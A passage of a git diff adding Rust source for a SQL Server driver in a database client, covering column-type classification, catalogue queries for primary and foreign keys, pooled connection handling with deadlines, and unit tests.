Eq)] +pub(crate) struct Classified { + pub(crate) kind: ColumnKind, + pub(crate) read_form: ReadForm, + /// rowversion: the server writes it on every change, nobody else may. + pub(crate) server_written: bool, +} + +/// The character types whose catalogue length is in bytes, two to a +/// character. +const NATIONAL: [&str; 2] = ["nchar", "nvarchar"]; + +const SYSTEM_TYPES: [&str; 34] = [ + "bigint", + "binary", + "bit", + "char", + "date", + "datetime", + "datetime2", + "datetimeoffset", + "decimal", + "float", + "geography", + "geometry", + "hierarchyid", + "image", + "int", + "money", + "nchar", + "ntext", + "numeric", + "nvarchar", + "real", + "rowversion", + "smalldatetime", + "smallint", + "smallmoney", + "sql_variant", + "sysname", + "text", + "time", + "timestamp", + "tinyint", + "uniqueidentifier", + "varbinary", + "varchar", +]; + +impl SqlServerType { + /// A column as `sys.columns` and `sys.types` describe it. Lengths are + /// in bytes there, `-1` meaning max; precision and scale are set for + /// every type and mean something only for some. + pub(crate) fn from_catalog(facts: CatalogFacts<'_>) -> Self { + let base = facts.base_type.to_ascii_lowercase(); + let length = match facts.max_length { + -1 => Length::Max, + bytes if NATIONAL.contains(&base.as_str()) => Length::Of(u32::try_from(bytes / 2).unwrap_or(0)), + bytes => Length::Of(u32::try_from(bytes).unwrap_or(0)), + }; + let alias = (facts.user_clr || facts.alias).then(|| match facts.type_schema { + Some(schema) if facts.user_defined => format!("{}.{}", bracket(schema), bracket(facts.type_name)), + _ => facts.type_name.to_owned(), + }); + Self { + base, + length, + precision: u32::try_from(facts.precision).ok(), + scale: u32::try_from(facts.scale).ok(), + alias, + opaque: facts.user_clr, + } + } + + /// A type the user typed, which the engine's own parser has already + /// accepted. A name that is not a system type is an alias or a CLR + /// type the driver cannot see into. + pub(crate) fn parse(text: &str) -> Self { + let text = text.trim(); + let (name, arguments) = match text.find('(') { + Some(open) => { + let inside = text.get(open + 1..).unwrap_or_default(); + let inside = inside.strip_suffix(')').unwrap_or(inside); + (text.get(..open).unwrap_or_default().trim(), Some(inside)) + } + None => (text, None), + }; + let unquoted = name.trim_start_matches('[').trim_end_matches(']').to_ascii_lowercase(); + let base = match unquoted.as_str() { + "double precision" => "float".to_owned(), + "character" => "char".to_owned(), + "character varying" => "varchar".to_owned(), + other => other.to_owned(), + }; + if !SYSTEM_TYPES.contains(&base.as_str()) { + return Self { + base, + length: Length::Unspecified, + precision: None, + scale: None, + alias: Some(text.to_owned()), + opaque: true, + }; + } + let arguments: Vec<&str> = arguments + .map(|inside| inside.split(',').map(str::trim).collect()) + .unwrap_or_default(); + let number = |index: usize| arguments.get(index).and_then(|argument| argument.parse::().ok()); + let length = match arguments.first() { + Some(first) if first.eq_ignore_ascii_case("max") => Length::Max, + Some(_) => number(0).map_or(Length::Unspecified, Length::Of), + None => Length::Unspecified, + }; + let (precision, scale) = match base.as_str() { + "decimal" | "numeric" => (number(0).or(Some(18)), number(1).or(Some(0))), + "float" => (number(0).or(Some(53)), None), + "time" | "datetime2" | "datetimeoffset" => (None, number(0).or(Some(7))), + _ => (None, None), + }; + Self { + base, + length, + precision, + scale, + alias: None, + opaque: false, + } + } + + /// The type as DDL spells it, modifiers included. + pub(crate) fn declaration(&self) -> String { + if let Some(alias) = &self.alias { + return alias.clone(); + } + let base = &self.base; + match base.as_str() { + "char" | "varchar" | "nchar" | "nvarchar" | "binary" | "varbinary" => match self.length { + Length::Max => format!("{base}(max)"), + Length::Of(length) => format!("{base}({length})"), + Length::Unspecified => base.clone(), + }, + "decimal" | "numeric" => match (self.precision, self.scale) { + (Some(precision), Some(scale)) => format!("{base}({precision},{scale})"), + _ => base.clone(), + }, + "float" => match self.precision { + Some(precision) if precision != 53 => format!("float({precision})"), + _ => base.clone(), + }, + "time" | "datetime2" | "datetimeoffset" => match self.scale { + Some(scale) => format!("{base}({scale})"), + None => base.clone(), + }, + _ => base.clone(), + } + } + + /// The type a bound text parameter is cast to. A length would + /// truncate silently, so text casts to its max form, while a decimal + /// keeps its digits because a bare `decimal` means `decimal(18,0)`. + pub(crate) fn cast_target(&self) -> String { + if self.alias.is_some() { + return self.declaration(); + } + match self.base.as_str() { + "char" | "varchar" | "text" => "varchar(max)".to_owned(), + "nchar" | "nvarchar" | "ntext" | "sysname" => "nvarchar(max)".to_owned(), + "binary" | "varbinary" | "image" => "varbinary(max)".to_owned(), + _ => self.declaration(), + } + } + + pub(crate) fn classify(&self) -> Classified { + let native = |kind| Classified { + kind, + read_form: ReadForm::Native, + server_written: false, + }; + let as_text = |kind| Classified { + kind, + read_form: ReadForm::ServerText, + server_written: false, + }; + if self.opaque { + return as_text(ColumnKind::Other); + } + let integer = |width, signed| native(ColumnKind::Integer(IntegerKind { width, signed })); + let fractional = self.scale.and_then(|scale| u8::try_from(scale).ok()); + match self.base.as_str() { + "bit" => native(ColumnKind::Bool(BoolStorage::Native)), + "tinyint" => integer(IntegerWidth::W8, false), + "smallint" => integer(IntegerWidth::W16, true), + "int" => integer(IntegerWidth::W32, true), + "bigint" => integer(IntegerWidth::W64, true), + "real" => native(ColumnKind::Float(FloatWidth::F32)), + "float" => native(ColumnKind::Float(match self.precision { + Some(precision) if precision <= 24 => FloatWidth::F32, + _ => FloatWidth::F64, + })), + "decimal" | "numeric" => native(ColumnKind::Decimal { + precision: self.precision, + scale: self.scale, + }), + // tiberius reads MONEY as a float, so browse asks for it as a + // decimal of the same scale instead. + "money" | "smallmoney" => Classified { + kind: ColumnKind::Money { scale: Some(4) }, + read_form: ReadForm::ServerNumeric, + server_written: false, + }, + "char" | "nchar" => native(ColumnKind::Text { + length: self.text_length(TextLength::Fixed), + }), + "varchar" | "nvarchar" | "sysname" => native(ColumnKind::Text { + length: self.text_length(TextLength::Varying), + }), + "text" | "ntext" => native(ColumnKind::Text { + length: TextLength::Unbounded, + }), + "binary" => native(ColumnKind::Bytes { + length: self.text_length(TextLength::Fixed), + }), + "varbinary" => native(ColumnKind::Bytes { + length: self.text_length(TextLength::Varying), + }), + "image" => native(ColumnKind::Bytes { + length: TextLength::Unbounded, + }), + "timestamp" | "rowversion" => Classified { + kind: ColumnKind::Bytes { + length: TextLength::Fixed(8), + }, + read_form: ReadForm::Native, + server_written: true, + }, + "uniqueidentifier" => native(ColumnKind::Uuid), + "date" => native(ColumnKind::Date), + "time" => native(ColumnKind::Time { + fractional_digits: fractional, + with_offset: false, + range: TimeRange::TimeOfDay, + }), + "datetime" => native(ColumnKind::Timestamp { + fractional_digits: Some(3), + zone: TemporalZone::Naive, + }), + "smalldatetime" => native(ColumnKind::Timestamp { + fractional_digits: Some(0), + zone: TemporalZone::Naive, + }), + "datetime2" => native(ColumnKind::Timestamp { + fractional_digits: fractional, + zone: TemporalZone::Naive, + }), + "datetimeoffset" => native(ColumnKind::Timestamp { + fractional_digits: fractional, + zone: TemporalZone::Offset, + }), + "xml" => native(ColumnKind::Xml), + // tiberius reads the stored value in its own base type. + "sql_variant" => native(ColumnKind::Variant), + "geography" | "geometry" => as_text(ColumnKind::Spatial), + _ => as_text(ColumnKind::Other), + } + } + + fn text_length(&self, declared: fn(u32) -> TextLength) -> TextLength { + match self.length { + Length::Of(length) => declared(length), + Length::Max | Length::Unspecified => TextLength::Unbounded, + } + } + + /// The column type the app works with. + pub(crate) fn column_type(&self) -> (ColumnType, bool) { + let classified = self.classify(); + let declaration = self.declaration(); + let column_type = ColumnType { + name: declaration.clone(), + kind: classified.kind, + catalog: Some(CatalogType { + declaration: SqlTypeExpr::from_catalog_text(declaration), + cast_target: SqlTypeExpr::from_catalog_text(self.cast_target()), + }), + dynamic_storage: false, + read_form: classified.read_form, + }; + (column_type, classified.server_written) + } +} + +/// What the catalogue says about one column's type. +#[derive(Debug, Clone, Copy)] +pub(crate) struct CatalogFacts<'a> { + pub(crate) type_name: &'a str, + pub(crate) base_type: &'a str, + pub(crate) type_schema: Option<&'a str>, + pub(crate) user_defined: bool, + /// An alias over a system type, `sysname` included. + pub(crate) alias: bool, + pub(crate) user_clr: bool, + pub(crate) max_length: i64, + pub(crate) precision: i64, + pub(crate) scale: i64, +} + +fn bracket(name: &str) -> String { + format!("[{}]", name.replace(']', "]]")) +} + +#[cfg(test)] +mod tests { + use super::*; + + fn system(base: &str, max_length: i64, precision: i64, scale: i64) -> SqlServerType { + SqlServerType::from_catalog(CatalogFacts { + type_name: base, + base_type: base, + type_schema: Some("sys"), + user_defined: false, + alias: false, + user_clr: false, + max_length, + precision, + scale, + }) + } + + #[test] + fn format_type_lengths_and_precision() { + assert_eq!(system("int", 4, 10, 0).declaration(), "int"); + assert_eq!(system("varchar", 255, 0, 0).declaration(), "varchar(255)"); + assert_eq!(system("varchar", -1, 0, 0).declaration(), "varchar(max)"); + assert_eq!(system("nvarchar", 510, 0, 0).declaration(), "nvarchar(255)"); + assert_eq!(system("nvarchar", -1, 0, 0).declaration(), "nvarchar(max)"); + assert_eq!(system("decimal", 9, 18, 2).declaration(), "decimal(18,2)"); + assert_eq!(system("datetime2", 8, 27, 3).declaration(), "datetime2(3)"); + assert_eq!(system("float", 8, 53, 0).declaration(), "float"); + assert_eq!(system("float", 4, 24, 0).declaration(), "float(24)"); + } + + #[test] + fn mssql_money_hierarchyid_geography_alias() { + let money = system("money", 8, 19, 4).classify(); + assert_eq!(money.kind, ColumnKind::Money { scale: Some(4) }); + assert_eq!(money.read_form, ReadForm::ServerNumeric); + + let hierarchy = system("hierarchyid", 892, 0, 0).classify(); + assert_eq!(hierarchy.kind, ColumnKind::Other); + assert_eq!(hierarchy.read_form, ReadForm::ServerText); + + for spatial in ["geography", "geometry"] { + let classified = system(spatial, -1, 0, 0).classify(); + assert_eq!(classified.kind, ColumnKind::Spatial); + assert_eq!(classified.read_form, ReadForm::ServerText); + } + assert_eq!(system("sql_variant", 8016, 0, 0).classify().kind, ColumnKind::Variant); + + let phone = SqlServerType::from_catalog(CatalogFacts { + type_name: "Phone", + base_type: "nvarchar", + type_schema: Some("dbo"), + user_defined: true, + alias: true, + user_clr: false, + max_length: 40, + precision: 0, + scale: 0, + }); + assert_eq!(phone.declaration(), "[dbo].[Phone]"); + assert_eq!( + phone.classify().kind, + ColumnKind::Text { + length: TextLength::Varying(20) + } + ); + let sysname = SqlServerType::from_catalog(CatalogFacts { + type_name: "sysname", + base_type: "nvarchar", + type_schema: Some("sys"), + user_defined: false, + alias: true, + user_clr: false, + max_length: 256, + precision: 0, + scale: 0, + }); + assert_eq!(sysname.declaration(), "sysname"); + assert_eq!( + sysname.classify().kind, + ColumnKind::Text { + length: TextLength::Varying(128) + } + ); + } + + #[test] + fn a_user_clr_type_is_other_read_as_text() { + let clr = SqlServerType::from_catalog(CatalogFacts { + type_name: "Point", + base_type: "Point", + type_schema: Some("geo"), + user_defined: true, + alias: false, + user_clr: true, + max_length: 64, + precision: 0, + scale: 0, + }); + + assert_eq!(clr.declaration(), "[geo].[Point]"); + assert_eq!(clr.cast_target(), "[geo].[Point]"); + assert_eq!(clr.classify().kind, ColumnKind::Other); + assert_eq!(clr.classify().read_form, ReadForm::ServerText); + } + + #[test] + fn rowversion_is_written_by_the_server_alone() { + let classified = system("timestamp", 8, 0, 0).classify(); + + assert!(classified.server_written); + assert_eq!( + classified.kind, + ColumnKind::Bytes { + length: TextLength::Fixed(8) + } + ); + } + + #[test] + fn a_typed_type_classifies_like_the_catalogue() { + let cases = [ + ("nvarchar(255)", "nvarchar(255)"), + ("NVARCHAR ( MAX )", "nvarchar(max)"), + ("decimal(10, 2)", "decimal(10,2)"), + ("decimal", "decimal(18,0)"), + ("datetime2", "datetime2(7)"), + ("[int]", "int"), + ("double precision", "float"), + ]; + for (typed, declared) in cases { + assert_eq!(SqlServerType::parse(typed).declaration(), declared, "{typed}"); + } + assert_eq!( + SqlServerType::parse("varchar(40)").classify().kind, + ColumnKind::Text { + length: TextLength::Varying(40) + } + ); + let alias = SqlServerType::parse("dbo.Phone"); + assert_eq!(alias.declaration(), "dbo.Phone"); + assert_eq!(alias.classify().kind, ColumnKind::Other); + } + + #[test] + fn text_casts_to_its_max_form() { + assert_eq!(system("varchar", 10, 0, 0).cast_target(), "varchar(max)"); + assert_eq!(system("nchar", 20, 0, 0).cast_target(), "nvarchar(max)"); + assert_eq!(system("decimal", 9, 10, 2).cast_target(), "decimal(10,2)"); + assert_eq!(system("hierarchyid", 892, 0, 0).cast_target(), "hierarchyid"); + } +} diff --git a/linux/crates/drivers/mssql/src/catalog/table_definition.rs b/linux/crates/drivers/mssql/src/catalog/table_definition.rs new file mode 100644 index 0000000000..69b495d00c --- /dev/null +++ b/linux/crates/drivers/mssql/src/catalog/table_definition.rs @@ -0,0 +1,113 @@ +use tablepro_core::DriverError; +use tablepro_core::ddl::{InboundForeignKey, PrimaryKeyConstraint}; +use tablepro_core::meta::TableRef; +use tablepro_core::value::Value; + +use super::cells::Cells; + +/// The primary key constraint's name and its columns in key order. +pub(crate) const PRIMARY_KEY_SQL: &str = "SELECT kc.name, c.name \ + FROM sys.key_constraints kc \ + JOIN sys.index_columns ic ON ic.object_id = kc.parent_object_id AND ic.index_id = kc.unique_index_id \ + JOIN sys.columns c ON c.object_id = ic.object_id AND c.column_id = ic.column_id \ + WHERE kc.parent_object_id = OBJECT_ID(@P1) AND kc.type = 'PK' AND ic.key_ordinal > 0 \ + ORDER BY ic.key_ordinal"; + +/// The foreign keys on other tables that point at this one, one row per +/// column pair, in key order. +pub(crate) const INBOUND_FOREIGN_KEYS_SQL: &str = "SELECT fk.name, SCHEMA_NAME(p.schema_id), p.name, pc.name, rc.name \ + FROM sys.foreign_keys fk \ + JOIN sys.objects p ON p.object_id = fk.parent_object_id \ + JOIN sys.foreign_key_columns fkc ON fkc.constraint_object_id = fk.object_id \ + JOIN sys.columns pc ON pc.object_id = fkc.parent_object_id AND pc.column_id = fkc.parent_column_id \ + JOIN sys.columns rc ON rc.object_id = fkc.referenced_object_id AND rc.column_id = fkc.referenced_column_id \ + WHERE fk.referenced_object_id = OBJECT_ID(@P1) \ + ORDER BY SCHEMA_NAME(p.schema_id), p.name, fk.name, fkc.constraint_column_id"; + +pub(crate) fn primary_key(rows: &[Vec]) -> Result, DriverError> { + let mut constraint: Option = None; + for row in rows { + let cells = Cells::new(row, "sys.key_constraints"); + let column = cells.required_text(1)?; + match &mut constraint { + Some(constraint) => constraint.columns.push(column), + None => { + constraint = Some(PrimaryKeyConstraint { + name: cells.text(0), + columns: vec![column], + }); + } + } + } + Ok(constraint) +} + +pub(crate) fn inbound_foreign_keys(rows: &[Vec]) -> Result, DriverError> { + let mut keys: Vec = Vec::new(); + for row in rows { + let cells = Cells::new(row, "sys.foreign_keys"); + let name = cells.required_text(0)?; + let table = TableRef::new(cells.text(1), cells.required_text(2)?); + let column = cells.required_text(3)?; + let referenced = cells.required_text(4)?; + match keys.last_mut() { + Some(key) if key.name == name && key.table == table => { + key.columns.push(column); + key.referenced_columns.push(referenced); + } + _ => keys.push(InboundForeignKey { + name, + table, + columns: vec![column], + referenced_columns: vec![referenced], + }), + } + } + Ok(keys) +} + +#[cfg(test)] +mod tests { + use super::*; + + fn text(value: &str) -> Value { + Value::Text(value.to_owned()) + } + + #[test] + fn a_composite_primary_key_keeps_its_name_and_order() { + let rows = vec![ + vec![text("PK_lines"), text("order_id")], + vec![text("PK_lines"), text("line_no")], + ]; + + let key = primary_key(&rows).unwrap().unwrap(); + + assert_eq!(key.name.as_deref(), Some("PK_lines")); + assert_eq!(key.columns, ["order_id", "line_no"]); + assert_eq!(primary_key(&[]).unwrap(), None); + } + + #[test] + fn inbound_keys_group_their_column_pairs() { + let rows = vec![ + vec![text("FK_a"), text("dbo"), text("lines"), text("order_id"), text("id")], + vec![text("FK_a"), text("dbo"), text("lines"), text("tenant"), text("tenant")], + vec![ + text("FK_b"), + text("sales"), + text("refunds"), + text("order_id"), + text("id"), + ], + ]; + + let keys = inbound_foreign_keys(&rows).unwrap(); + + assert_eq!(keys.len(), 2); + assert_eq!(keys[0].table, TableRef::new(Some("dbo".to_owned()), "lines")); + assert_eq!(keys[0].columns, ["order_id", "tenant"]); + assert_eq!(keys[0].referenced_columns, ["id", "tenant"]); + assert_eq!(keys[1].name, "FK_b"); + } +} diff --git a/linux/crates/drivers/mssql/src/connection.rs b/linux/crates/drivers/mssql/src/connection.rs new file mode 100644 index 0000000000..99c8f5f714 --- /dev/null +++ b/linux/crates/drivers/mssql/src/connection.rs @@ -0,0 +1,500 @@ +use std::sync::Arc; +use std::sync::atomic::{AtomicBool, Ordering}; +use std::time::Duration; + +use async_trait::async_trait; +use deadpool::managed::{PoolError, TimeoutType}; +use tablepro_core::column::ColumnInfo; +use tablepro_core::ddl::TableDefinition; +use tablepro_core::dialect::SqlDialect; +use tablepro_core::meta::{IndexInfo, ObjectInfo, ObjectScope, RowIdentity, SchemaInfo, TableEstimate, TableRef}; +use tablepro_core::statement::Statement; +use tablepro_core::{ + CallOptions, CommitResolution, CommitToken, Connection, DriverError, EditorSession, EditorSessionOptions, + ErrorCategory, ForeignKeyInfo, LinkState, LinkWatch, LivenessPolicy, LossPhase, OwnedCalls, QueryResult, + ReadStatement, ResultSink, RowLimit, ServerInfo, SessionFate, StreamSummary, TimeoutPhase, WorkspaceSettings, + WriteAtomicity, WriteBatch, WriteKind, WriteLedger, WriteReport, +}; +use tokio::time::Instant; +use tokio_util::sync::{CancellationToken, WaitForCancellationFutureOwned}; + +use crate::cancel::{MssqlStop, StopProgress}; +use crate::dialect::MssqlDialect; +use crate::editor_session::MssqlEditorSession; +use crate::endpoint::MssqlEndpoint; +use crate::errors::map_pool_error; +use crate::in_band_request::{StopPolicy, Watch, conclude}; +use crate::metadata; +use crate::mssql_manager::{MssqlPool, probe_timeouts, workspace_timeouts}; +use crate::mssql_pooled::MssqlPooled; +use crate::standalone::Standalone; +use crate::stream_read::stream; +use crate::workspace_call::{Guard, ReadOp, count_op, query_bound_op, read_op}; +use crate::write_batch::{WritePlan, perform, precheck}; + +/// A workspace's link to one SQL Server: a pool of four connections +/// behind the sidebar, the grid and every save. +pub(crate) struct MssqlConnection { + endpoint: Arc, + pool: MssqlPool, + calls: OwnedCalls, + settings: WorkspaceSettings, + server: ServerInfo, + dialect: Arc, + policy: StopPolicy, + link: LinkWatch, + closed: AtomicBool, +} + +impl MssqlConnection { + pub(crate) fn new( + endpoint: Arc, + pool: MssqlPool, + settings: WorkspaceSettings, + server: ServerInfo, + ) -> Self { + let grace = endpoint.liveness().cancel_grace; + let dialect = Arc::new(MssqlDialect::new(server.major)); + Self { + endpoint, + pool, + calls: OwnedCalls::new(grace), + settings, + server, + dialect, + policy: StopPolicy::within(grace), + link: LinkWatch::new(), + closed: AtomicBool::new(false), + } + } + + fn liveness(&self) -> &LivenessPolicy { + self.endpoint.liveness() + } + + fn ensure_open(&self) -> Result<(), DriverError> { + if self.closed.load(Ordering::SeqCst) { + return Err(DriverError::ConnectionLost { + during: LossPhase::Idle, + }); + } + Ok(()) + } + + /// The table's name as `OBJECT_ID` resolves it. + fn relation(&self, table: &TableRef) -> String { + self.dialect.qualify(table) + } + + fn guard(&self) -> Guard { + Guard::for_connection(self.settings.read_only) + } + + /// Run one read on a pooled connection, owned by a task that + /// outlives the caller. SQL Server has no statement timeout of its + /// own, so the workspace's is the call's deadline when it is nearer. + async fn read(&self, options: CallOptions, op: ReadOp) -> Result { + self.ensure_open()?; + let options = bounded(&options, Some(self.settings.statement_timeout)); + let stop = Arc::new(MssqlStop::new()); + let pool = self.pool.clone(); + let timeouts = workspace_timeouts(self.liveness()); + let policy = self.policy; + let work_stop = stop.clone(); + let outcome = self + .calls + .run_read( + options, + MssqlPooled::new(), + stop.clone(), + move |mut call, request| async move { + if let Err(error) = call.acquire(&pool, &timeouts, &request).await { + return (call, Err(error)); + } + let result = call.read(&request, policy, &work_stop, op).await; + (call, result) + }, + ) + .await; + self.settle(outcome, &stop).await + } + + /// Decide whether a failed call means the link itself is gone. + /// + /// An attention nobody answered already says the route is in doubt. + /// Otherwise a connection of its own answers the question within the + /// cancel grace, so a dead route is reported within the call's + /// deadline plus that grace. + async fn settle(&self, outcome: Result, stop: &MssqlStop) -> Result { + let error = match outcome { + Ok(value) => return Ok(value), + Err(error) => self.endpoint.explain(error).await, + }; + if !suspects_link(&error) { + return Err(error); + } + let lost = match stop.progress() { + StopProgress::Failed => true, + StopProgress::Delivered => false, + StopProgress::NotSent => { + let checked = self.endpoint.check(self.liveness().cancel_grace).await; + checked.is_err_and(|failure| means_link_lost(&failure)) + } + }; + if !lost { + return Err(error); + } + self.link.mark_lost(); + Err(match error { + DriverError::Timeout { .. } => DriverError::ConnectionLost { + during: LossPhase::Statement, + }, + other => other, + }) + } + + /// The probe of a busy pool: a connection of its own, asked one + /// trivial question within the probe's deadline. + async fn probe_standalone(&self, deadline: Instant) -> Result<(), DriverError> { + let bound = deadline.saturating_duration_since(Instant::now()); + self.endpoint.check(bound).await + } +} + +/// The call's options with its deadline no later than `limit` from now. +fn bounded(options: &CallOptions, limit: Option) -> CallOptions { + let capped = limit.map(|limit| Instant::now() + limit); + let deadline = match (options.deadline(), capped) { + (Some(deadline), Some(capped)) => Some(deadline.min(capped)), + (deadline, capped) => deadline.or(capped), + }; + CallOptions::new(deadline, options.cancel().clone()) +} + +/// A failure that may mean the route is gone rather than one statement: +/// a lost connection, a transport error, or a timeout the server never +/// acknowledged. +fn suspects_link(error: &DriverError) -> bool { + match error { + DriverError::ConnectionLost { .. } | DriverError::Transport(_) => true, + DriverError::Timeout { + server_cancelled: false, + phase, + } => matches!( + phase, + TimeoutPhase::Statement | TimeoutPhase::Probe | TimeoutPhase::Login + ), + _ => false, + } +} + +fn means_link_lost(error: &DriverError) -> bool { + matches!( + error.category(), + ErrorCategory::Network | ErrorCategory::ConnectionLost | ErrorCategory::Timeout + ) +} + +#[async_trait] +impl Connection for MssqlConnection { + fn server_info(&self) -> &ServerInfo { + &self.server + } + + fn dialect(&self) -> Arc { + self.dialect.clone() + } + + fn read_only(&self) -> bool { + self.settings.read_only + } + + fn link_state(&self) -> LinkState { + self.link.state() + } + + fn lost(&self) -> WaitForCancellationFutureOwned { + self.link.lost() + } + + async fn probe(&self, options: CallOptions) -> Result<(), DriverError> { + self.ensure_open()?; + let deadline = options + .deadline() + .unwrap_or_else(|| Instant::now() + self.liveness().probe_timeout); + let probing = async { + match self.pool.timeout_get(&probe_timeouts(self.liveness())).await { + Ok(object) => MssqlPooled::hold(object).ping().await, + // Every slot is busy, which is not the server being gone. + Err(PoolError::Timeout(TimeoutType::Wait)) => self.probe_standalone(deadline).await, + Err(error) => Err(map_pool_error(error)), + } + }; + let outcome = tokio::select! { + () = options.cancel().cancelled() => Err(DriverError::Cancelled), + outcome = tokio::time::timeout_at(deadline, probing) => outcome.unwrap_or(Err(DriverError::Timeout { + phase: TimeoutPhase::Probe, + server_cancelled: false, + })), + }; + if let Err(error) = &outcome + && matches!(error.category(), ErrorCategory::Network | ErrorCategory::ConnectionLost) + { + self.link.mark_lost(); + } + outcome + } + + async fn list_schemas(&self, options: CallOptions) -> Result, DriverError> { + self.read( + options, + read_op(|client, watch| Box::pin(metadata::list_schemas(client, watch))), + ) + .await + } + + async fn list_objects(&self, scope: &ObjectScope, options: CallOptions) -> Result, DriverError> { + let scope = scope.clone(); + self.read( + options, + read_op(move |client, watch| Box::pin(async move { metadata::list_objects(client, watch, &scope).await })), + ) + .await + } + + async fn fetch_columns(&self, table: &TableRef, options: CallOptions) -> Result, DriverError> { + let relation = self.relation(table); + self.read( + options, + read_op(move |client, watch| { + Box::pin(async move { metadata::fetch_columns(client, watch, &relation).await }) + }), + ) + .await + } + + async fn fetch_indexes(&self, table: &TableRef, options: CallOptions) -> Result, DriverError> { + let relation = self.relation(table); + self.read( + options, + read_op(move |client, watch| { + Box::pin(async move { metadata::fetch_indexes(client, watch, &relation).await }) + }), + ) + .await + } + + async fn fetch_foreign_keys( + &self, + table: &TableRef, + options: CallOptions, + ) -> Result, DriverError> { + let relation = self.relation(table); + self.read( + options, + read_op(move |client, watch| { + Box::pin(async move { metadata::fetch_foreign_keys(client, watch, &relation).await }) + }), + ) + .await + } + + async fn fetch_table_definition( + &self, + table: &TableRef, + options: CallOptions, + ) -> Result { + let relation = self.relation(table); + let table = table.clone(); + self.read( + options, + read_op(move |client, watch| { + Box::pin(async move { metadata::fetch_table_definition(client, watch, &table, &relation).await }) + }), + ) + .await + } + + async fn row_identity(&self, table: &TableRef, options: CallOptions) -> Result { + let relation = self.relation(table); + self.read( + options, + read_op(move |client, watch| { + Box::pin(async move { metadata::row_identity(client, watch, &relation).await }) + }), + ) + .await + } + + async fn table_estimate(&self, table: &TableRef, options: CallOptions) -> Result { + let relation = self.relation(table); + self.read( + options, + read_op(move |client, watch| { + Box::pin(async move { metadata::table_estimate(client, watch, &relation).await }) + }), + ) + .await + } + + async fn query_bound( + &self, + statement: &Statement, + limit: RowLimit, + options: CallOptions, + ) -> Result { + self.read(options, query_bound_op(statement.clone(), limit, self.guard())) + .await + } + + async fn count_rows(&self, statement: &Statement, options: CallOptions) -> Result { + self.read(options, count_op(statement.clone(), self.guard())).await + } + + async fn stream_read( + &self, + read: &ReadStatement, + mut sink: Box, + options: CallOptions, + ) -> Result { + self.ensure_open()?; + let stop = Arc::new(MssqlStop::new()); + let endpoint = self.endpoint.clone(); + let read = read.clone(); + let policy = self.policy; + let work_stop = stop.clone(); + let outcome = self + .calls + .run_read( + options, + Standalone::new(), + stop.clone(), + move |mut standalone, request| async move { + if let Err(error) = standalone.open(&endpoint, &request).await { + return (standalone, Err(error)); + } + let result = match standalone.link() { + Ok(link) => { + let watch = Watch::new(request.clone(), link.tally(), policy); + let outcome = stream(&mut link.client, &watch, &read, sink.as_mut()).await; + conclude(&mut link.client, &watch, outcome, &work_stop, false) + .await + .result + } + Err(error) => Err(error), + }; + (standalone, result) + }, + ) + .await; + self.settle(outcome, &stop).await + } + + async fn write_batch(&self, batch: &WriteBatch, options: CallOptions) -> Result { + self.ensure_open()?; + precheck(batch, self.settings.read_only)?; + // A schema change may legitimately run long; the call's own + // deadline and cancel still bound it. + let options = match batch.kind { + WriteKind::RowChanges => bounded(&options, Some(self.settings.statement_timeout)), + WriteKind::SchemaChanges => options, + }; + let stop = Arc::new(MssqlStop::new()); + let ledger = Arc::new(WriteLedger::new(WriteAtomicity::Transactional)); + let pool = self.pool.clone(); + let timeouts = workspace_timeouts(self.liveness()); + let plan = WritePlan { + batch: batch.clone(), + ledger: ledger.clone(), + policy: self.policy, + }; + let work_stop = stop.clone(); + let outcome = self + .calls + .run_write( + options, + MssqlPooled::new(), + stop.clone(), + ledger, + move |mut call, request| async move { + if let Err(error) = call.acquire(&pool, &timeouts, &request).await { + let error = match request.is_requested() { + true => plan.ledger.interrupted(error, SessionFate::RolledBack), + false => error, + }; + return (call, Err(error)); + } + let result = perform(&mut call, &plan, &request, &work_stop).await; + (call, result) + }, + ) + .await; + self.settle(outcome, &stop).await + } + + /// SQL Server keeps no record a lost COMMIT could be looked up by + /// afterwards, so the question has no answer. + async fn resolve_commit( + &self, + _token: &CommitToken, + _options: CallOptions, + ) -> Result { + self.ensure_open()?; + Ok(CommitResolution::Unresolvable) + } + + async fn open_editor_session( + &self, + options: EditorSessionOptions, + cancel: CancellationToken, + ) -> Result, DriverError> { + self.ensure_open()?; + let session = MssqlEditorSession::open(&self.endpoint, options, cancel).await?; + Ok(session) + } + + async fn close(&self) -> Result<(), DriverError> { + if self.closed.swap(true, Ordering::SeqCst) { + return Ok(()); + } + self.calls.shutdown().await; + self.pool.close(); + Ok(()) + } +} + +#[cfg(test)] +mod tests { + use super::*; + + #[tokio::test(start_paused = true)] + async fn a_near_deadline_tightens_the_bound_and_none_takes_the_limit() { + let near = Instant::now() + Duration::from_secs(2); + let options = CallOptions::new(Some(near), CancellationToken::new()); + + assert_eq!(bounded(&options, Some(Duration::from_secs(60))).deadline(), Some(near)); + let open = CallOptions::new(None, CancellationToken::new()); + assert_eq!( + bounded(&open, Some(Duration::from_secs(60))).deadline(), + Some(Instant::now() + Duration::from_secs(60)) + ); + assert_eq!(bounded(&open, None).deadline(), None); + } + + #[test] + fn only_an_unanswered_failure_suspects_the_link() { + assert!(suspects_link(&DriverError::ConnectionLost { + during: LossPhase::Statement + })); + assert!(suspects_link(&DriverError::Timeout { + phase: TimeoutPhase::Statement, + server_cancelled: false + })); + assert!(!suspects_link(&DriverError::Timeout { + phase: TimeoutPhase::Statement, + server_cancelled: true + })); + assert!(!suspects_link(&DriverError::Cancelled)); + assert!(!suspects_link(&DriverError::server("Invalid object name"))); + } +} diff --git a/linux/crates/drivers/mssql/src/ddl.rs b/linux/crates/drivers/mssql/src/ddl.rs new file mode 100644 index 0000000000..6b0a7c829b --- /dev/null +++ b/linux/crates/drivers/mssql/src/ddl.rs @@ -0,0 +1,271 @@ +use tablepro_core::ddl::{ColumnDefinition, DdlCapabilities, DdlDialect}; +use tablepro_core::dialect::SqlDialect; +use tablepro_core::meta::TableRef; + +use crate::dialect::national_literal; + +/// What the structure tab can change on SQL Server, and the parts of +/// its DDL only SQL Server needs. +#[derive(Debug)] +pub struct MssqlDdl { + capabilities: DdlCapabilities, +} + +pub(crate) static MSSQL_DDL: MssqlDdl = MssqlDdl { + capabilities: DdlCapabilities { + create_table: true, + rename_table: true, + add_column: true, + drop_column: true, + rename_column: true, + alter_column_type: true, + alter_column_nullability: true, + nullability_switch: true, + alter_column_default: true, + alter_primary_key: true, + // IDENTITY cannot be added to or taken from an existing column. + alter_auto_increment: false, + create_index: true, + drop_index: true, + // An index key is a column; an expression needs a computed one. + expression_index_keys: false, + partial_indexes: true, + add_foreign_key: true, + drop_foreign_key: true, + drop_table_cascade: false, + }, +}; + +impl DdlDialect for MssqlDdl { + fn 